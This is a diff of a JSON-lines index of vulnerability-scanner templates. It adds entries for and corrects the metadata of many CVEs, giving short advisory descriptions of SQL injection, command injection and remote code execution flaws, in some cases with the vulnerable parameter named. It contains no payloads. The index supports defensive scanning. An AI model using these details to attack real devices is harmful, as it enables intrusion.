 {"ID":"CVE-2020-10549","Info":{"Name":"rConfig \u003c=3.9.4 - SQL Injection","Severity":"critical","Description":"rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10549.yaml"}
 {"ID":"CVE-2020-10770","Info":{"Name":"Keycloak \u003c= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-10770.yaml"}
 {"ID":"CVE-2020-10973","Info":{"Name":"WAVLINK - Access Control","Severity":"high","Description":"Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-10973.yaml"}
+{"ID":"CVE-2020-10987","Info":{"Name":"Tenda AC15 AC1900 version 15.03.05.19 - Command Injection","Severity":"critical","Description":"The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10987.yaml"}
 {"ID":"CVE-2020-11034","Info":{"Name":"GLPI \u003c9.4.6 - Open Redirect","Severity":"medium","Description":"GLPI prior 9.4.6 contains an open redirect vulnerability based on a regexp.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-11034.yaml"}
 {"ID":"CVE-2020-11110","Info":{"Name":"Grafana \u003c= 6.7.1 - Cross-Site Scripting","Severity":"medium","Description":"Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2020/CVE-2020-11110.yaml"}
 {"ID":"CVE-2020-11441","Info":{"Name":"phpMyAdmin 5.0.2 - CRLF Injection","Severity":"medium","Description":"phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states \"I don't see anything specifically exploitable.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-11441.yaml"}
@@ -876,6 +885,7 @@
 {"ID":"CVE-2020-11854","Info":{"Name":"Micro Focus UCMDB - Remote Code Execution","Severity":"critical","Description":"Micro Focus UCMDB is susceptible to remote code execution. Impacted products include Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions, and Operations Bridge (containerized) 2020.05, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05. 2018.02 and 2017.11. 3.), and Application Performance Management versions 9,51, 9.50 and 9.40 with UCMDB 10.33 CUP 3.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11854.yaml"}
 {"ID":"CVE-2020-11930","Info":{"Name":"WordPress GTranslate \u003c2.8.52 - Cross-Site Scripting","Severity":"medium","Description":"WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-11930.yaml"}
 {"ID":"CVE-2020-11978","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Remote Code Execution","Severity":"high","Description":"Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-11978.yaml"}
+{"ID":"CVE-2020-11984","Info":{"Name":"Apache HTTP Server - Remote Code Execution","Severity":"critical","Description":"Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11984.yaml"}
 {"ID":"CVE-2020-11991","Info":{"Name":"Apache Cocoon 2.1.12 - XML Injection","Severity":"high","Description":"Apache Cocoon 2.1.12 is susceptible to  XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-11991.yaml"}
 {"ID":"CVE-2020-12054","Info":{"Name":"WordPress Catch Breadcrumb \u003c1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Catch Breadcrumb plugin before 1.5.4 contains a reflected cross-site scripting vulnerability via the s parameter (a search query). Also affected are 16 themes if the plugin is enabled: Alchemist and Alchemist PRO, Izabel and Izabel PRO, Chique and Chique PRO, Clean Enterprise and Clean Enterprise PRO, Bold Photography PRO, Intuitive PRO, Devotepress PRO, Clean Blocks PRO, Foodoholic PRO, Catch Mag PRO, Catch Wedding PRO, and Higher Education PRO.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-12054.yaml"}
 {"ID":"CVE-2020-12116","Info":{"Name":"Zoho ManageEngine OpManger - Arbitrary File Read","Severity":"high","Description":"Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a specially crafted request.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-12116.yaml"}
@@ -886,6 +896,7 @@
 {"ID":"CVE-2020-12262","Info":{"Name":"Intelbras TIP200/TIP200LITE/TIP300 - Cross-Site Scripting","Severity":"medium","Description":"Intelbras TIP200 60.61.75.15, TIP200LITE 60.61.75.15, and TIP300 65.61.75.15 are vulnerable to reflected cross-site scripting (XSS) via the page parameter in /cgi-bin/cgiServer.exx, allowing attackers to execute arbitrary JavaScript in the context of the user.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2020/CVE-2020-12262.yaml"}
 {"ID":"CVE-2020-12447","Info":{"Name":"Onkyo TX-NR585 Web Interface - Directory Traversal","Severity":"high","Description":"Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-12447.yaml"}
 {"ID":"CVE-2020-12478","Info":{"Name":"TeamPass 2.1.27.36 - Improper Authentication","Severity":"high","Description":"TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-12478.yaml"}
+{"ID":"CVE-2020-12641","Info":{"Name":"Roundcube Webmail - Command Injection","Severity":"critical","Description":"Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-12641.yaml"}
 {"ID":"CVE-2020-12720","Info":{"Name":"vBulletin SQL Injection","Severity":"critical","Description":"vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-12720.yaml"}
 {"ID":"CVE-2020-12800","Info":{"Name":"WordPress Contact Form 7 \u003c1.3.3.3 - Remote Code Execution","Severity":"critical","Description":"WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-12800.yaml"}
 {"ID":"CVE-2020-13117","Info":{"Name":"Wavlink Multiple AP - Remote Command Injection","Severity":"critical","Description":"Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the \"key\" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-13117.yaml"}
@@ -897,7 +908,7 @@
 {"ID":"CVE-2020-13405","Info":{"Name":"Microweber \u003c1.1.20 - Information Disclosure","Severity":"high","Description":"Microweber before 1.1.20 is susceptible to information disclosure via userfiles/modules/users/controller/controller.php. An attacker can disclose the users database via a /modules/ POST request and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-13405.yaml"}
 {"ID":"CVE-2020-13483","Info":{"Name":"Bitrix24 \u003c=20.0.0 - Cross-Site Scripting","Severity":"medium","Description":"The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-13483.yaml"}
 {"ID":"CVE-2020-13638","Info":{"Name":"rConfig 3.9 - Authentication Bypass(Admin Login)","Severity":"critical","Description":"lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-13638.yaml"}
-{"ID":"CVE-2020-13700","Info":{"Name":"WordPresss acf-to-rest-api \u003c=3.1.0 - Insecure Direct Object Reference","Severity":"high","Description":"WordPresss acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-13700.yaml"}
+{"ID":"CVE-2020-13700","Info":{"Name":"WordPress acf-to-rest-api \u003c=3.1.0 - Insecure Direct Object Reference","Severity":"high","Description":"WordPress acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-13700.yaml"}
 {"ID":"CVE-2020-13820","Info":{"Name":"Extreme Management Center 8.4.1.24 - Cross-Site Scripting","Severity":"medium","Description":"Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-13820.yaml"}
 {"ID":"CVE-2020-13851","Info":{"Name":"Artica Pandora FMS 7.44 - Remote Code Execution","Severity":"high","Description":"Artica Pandora FMS 7.44 allows remote command execution via the events feature.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-13851.yaml"}
 {"ID":"CVE-2020-13886","Info":{"Name":"Intelbras TIP 200/200 LITE/300 - Local File Inclusion","Severity":"high","Description":"Intelbras TIP 200 60.61.75.15, TIP 200 LITE 60.61.75.15, and TIP 300 65.61.75.22 are vulnerable to local file inclusion via the 'page' parameter in /cgi-bin/cgiServer.exx, allowing unauthenticated attackers to read arbitrary files such as /etc/passwd.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-13886.yaml"}
@@ -1053,6 +1064,7 @@
 {"ID":"CVE-2020-35987","Info":{"Name":"Rukovoditel \u003c= 2.7.2 - Cross-Site Scripting","Severity":"medium","Description":"A stored cross site scripting (XSS) vulnerability in the 'Entities List' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2020/CVE-2020-35987.yaml"}
 {"ID":"CVE-2020-36112","Info":{"Name":"CSE Bookstore 1.0 - SQL Injection","Severity":"critical","Description":"CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successful exploitation of this vulnerability will lead to an attacker dumping the entire database.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-36112.yaml"}
 {"ID":"CVE-2020-36289","Info":{"Name":"Jira Server and Data Center - Information Disclosure","Severity":"medium","Description":"Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the QueryComponentRendererValue!Default.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations, Affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-36289.yaml"}
+{"ID":"CVE-2020-36333","Info":{"Name":"ThemeGrill Demo Importer \u003c 1.6.2 - Database Reset","Severity":"critical","Description":"ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2020/CVE-2020-36333.yaml"}
 {"ID":"CVE-2020-36365","Info":{"Name":"Smartstore \u003c4.1.0 - Open Redirect","Severity":"medium","Description":"Smartstore (aka \"SmartStoreNET\") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-36365.yaml"}
 {"ID":"CVE-2020-36510","Info":{"Name":"WordPress 15Zine \u003c3.3.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-36510.yaml"}
 {"ID":"CVE-2020-36728","Info":{"Name":"WordPress Plugin Adning Advertising \u003c 1.5.6 - Arbitrary File Upload","Severity":"medium","Description":"The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2020/CVE-2020-36728.yaml"}
@@ -1388,6 +1400,7 @@
 {"ID":"CVE-2021-3293","Info":{"Name":"emlog 5.3.1 Path Disclosure","Severity":"medium","Description":"emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-3293.yaml"}
 {"ID":"CVE-2021-3297","Info":{"Name":"Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass","Severity":"high","Description":"Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.","Classification":{"CVSSScore":"7.8"}},"file_path":"http/cves/2021/CVE-2021-3297.yaml"}
 {"ID":"CVE-2021-33044","Info":{"Name":"Dahua IPC/VTH/VTO - Authentication Bypass","Severity":"critical","Description":"Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-33044.yaml"}
+{"ID":"CVE-2021-33045","Info":{"Name":"Dahua IPC/VTH/VTO - Authentication Bypass","Severity":"critical","Description":"The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-33045.yaml"}
 {"ID":"CVE-2021-33221","Info":{"Name":"CommScope Ruckus IoT Controller - Information Disclosure","Severity":"critical","Description":"CommScope Ruckus IoT Controller is susceptible to information disclosure vulnerabilities because a 'service details' API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices use for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-33221.yaml"}
 {"ID":"CVE-2021-33357","Info":{"Name":"RaspAP \u003c=2.6.5 - Remote Command Injection","Severity":"critical","Description":"RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the \"iface\" GET parameter in /ajax/networking/get_netcfg.php, when the \"iface\" parameter value contains special characters such as \";\".\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-33357.yaml"}
 {"ID":"CVE-2021-33544","Info":{"Name":"Geutebruck - Remote Command Injection","Severity":"high","Description":"Geutebruck is susceptible to multiple vulnerabilities its web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2021/CVE-2021-33544.yaml"}
@@ -2057,6 +2070,7 @@
 {"ID":"CVE-2022-45354","Info":{"Name":"Download Monitor \u003c= 4.7.60 - Sensitive Information Exposure","Severity":"high","Description":"The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-45354.yaml"}
 {"ID":"CVE-2022-45362","Info":{"Name":"WordPress Paytm Payment Gateway \u003c=2.7.0 - Server-Side Request Forgery","Severity":"medium","Description":"WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2022/CVE-2022-45362.yaml"}
 {"ID":"CVE-2022-45365","Info":{"Name":"Stock Ticker \u003c= 3.23.2 - Cross-Site-Scripting","Severity":"medium","Description":"The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-45365.yaml"}
+{"ID":"CVE-2022-45699","Info":{"Name":"APsystems ECU-R Firmware - Command Injection","Severity":"critical","Description":"Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-45699.yaml"}
 {"ID":"CVE-2022-45805","Info":{"Name":"WordPress Paytm Payment Gateway \u003c=2.7.3 - SQL Injection","Severity":"critical","Description":"WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-45805.yaml"}
 {"ID":"CVE-2022-45808","Info":{"Name":"LearnPress Plugin \u003c 4.2.0 - Unauthenticated Time-Based Blind SQLi","Severity":"critical","Description":"SQL Injection vulnerability in LearnPress – WordPress LMS Plugin \u003c= 4.1.7.3.2 versions.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2022/CVE-2022-45808.yaml"}
 {"ID":"CVE-2022-45835","Info":{"Name":"WordPress PhonePe Payment Solutions \u003c=1.0.15 - Server-Side Request Forgery","Severity":"high","Description":"WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-45835.yaml"}
@@ -2135,7 +2149,7 @@
 {"ID":"CVE-2023-1892","Info":{"Name":"Sidekiq \u003c 7.0.8 - Cross-Site Scripting","Severity":"critical","Description":"An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.\n","Classification":{"CVSSScore":"9.6"}},"file_path":"http/cves/2023/CVE-2023-1892.yaml"}
 {"ID":"CVE-2023-20073","Info":{"Name":"Cisco VPN Routers - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement mechanisms in the context of file uploads. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to upload arbitrary files to the affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-20073.yaml"}
 {"ID":"CVE-2023-2009","Info":{"Name":"Pretty Url \u003c= 1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2023/CVE-2023-2009.yaml"}
-{"ID":"CVE-2023-20198","Info":{"Name":"Cisco IOS XE - Authentication Bypass","Severity":"critical","Description":"Cisco is aware of active exploitation of a previously unknown vulnerability in the web UI feature of Cisco IOS XE Software when exposed to the internet or to untrusted networks. This vulnerability allows a remote, unauthenticated attacker to create an account on an affected system with privilege level 15 access. The attacker can then use that account to gain control of the affected system.\nFor steps to close the attack vector for this vulnerability, see the Recommendations section of this advisory.\nCisco will provide updates on the status of this investigation and when a software patch is available.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2023/CVE-2023-20198.yaml"}
+{"ID":"CVE-2023-20198","Info":{"Name":"Cisco IOS XE Web UI - Command Injection","Severity":"critical","Description":"A vulnerability in the web UI component of Cisco IOS XE Software could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to improper input validation in the web UI. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the underlying operating system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-20198.yaml"}
 {"ID":"CVE-2023-2023","Info":{"Name":"Custom 404 Pro \u003c 3.7.3 - Cross-Site Scripting","Severity":"medium","Description":"Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-2023.yaml"}
 {"ID":"CVE-2023-2059","Info":{"Name":"DedeCMS 5.7.87 - Directory Traversal","Severity":"medium","Description":"Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-2059.yaml"}
 {"ID":"CVE-2023-20864","Info":{"Name":"VMware Aria Operations for Logs - Unauthenticated Remote Code Execution","Severity":"critical","Description":"VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-20864.yaml"}
@@ -2188,6 +2202,7 @@
 {"ID":"CVE-2023-25157","Info":{"Name":"GeoServer OGC Filter - SQL Injection","Severity":"critical","Description":"GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-25157.yaml"}
 {"ID":"CVE-2023-2518","Info":{"Name":"WordPress Easy Forms for Mailchimp Plugin \u003c 6.8.9 - Cross-Site Scripting","Severity":"medium","Description":"The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-2518.yaml"}
 {"ID":"CVE-2023-25194","Info":{"Name":"Apache Druid Kafka Connect - Remote Code Execution","Severity":"high","Description":"The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-25194.yaml"}
+{"ID":"CVE-2023-25280","Info":{"Name":"D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection","Severity":"critical","Description":"OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-25280.yaml"}
 {"ID":"CVE-2023-25346","Info":{"Name":"ChurchCRM 4.5.3 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-25346.yaml"}
 {"ID":"CVE-2023-25573","Info":{"Name":"Metersphere - Arbitrary File Read","Severity":"high","Description":"Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-25573.yaml"}
 {"ID":"CVE-2023-25717","Info":{"Name":"Ruckus Wireless Admin - Remote Code Execution","Severity":"critical","Description":"Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-25717.yaml"}
@@ -2200,6 +2215,7 @@
 {"ID":"CVE-2023-26360","Info":{"Name":"Adobe ColdFusion - Local File Read","Severity":"high","Description":"Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2023/CVE-2023-26360.yaml"}
 {"ID":"CVE-2023-26469","Info":{"Name":"Jorani 1.0.0 - Remote Code Execution","Severity":"critical","Description":"Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-26469.yaml"}
 {"ID":"CVE-2023-2648","Info":{"Name":"Weaver E-Office 9.5 - Remote Code Execution","Severity":"critical","Description":"A vulnerability was found in Weaver E-Office 9.5. It has been classified as critical. This affects an unknown part of the file /inc/jquery/uploadify/uploadify.php. The manipulation of the argument Filedata leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228777 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2648.yaml"}
+{"ID":"CVE-2023-26802","Info":{"Name":"DCBI-Netlog-LAB v1.0 - Command Injection","Severity":"critical","Description":"An issue in the component /network_config/nsg_masq.cgi of DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass authentication and execute arbitrary commands via a crafted request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-26802.yaml"}
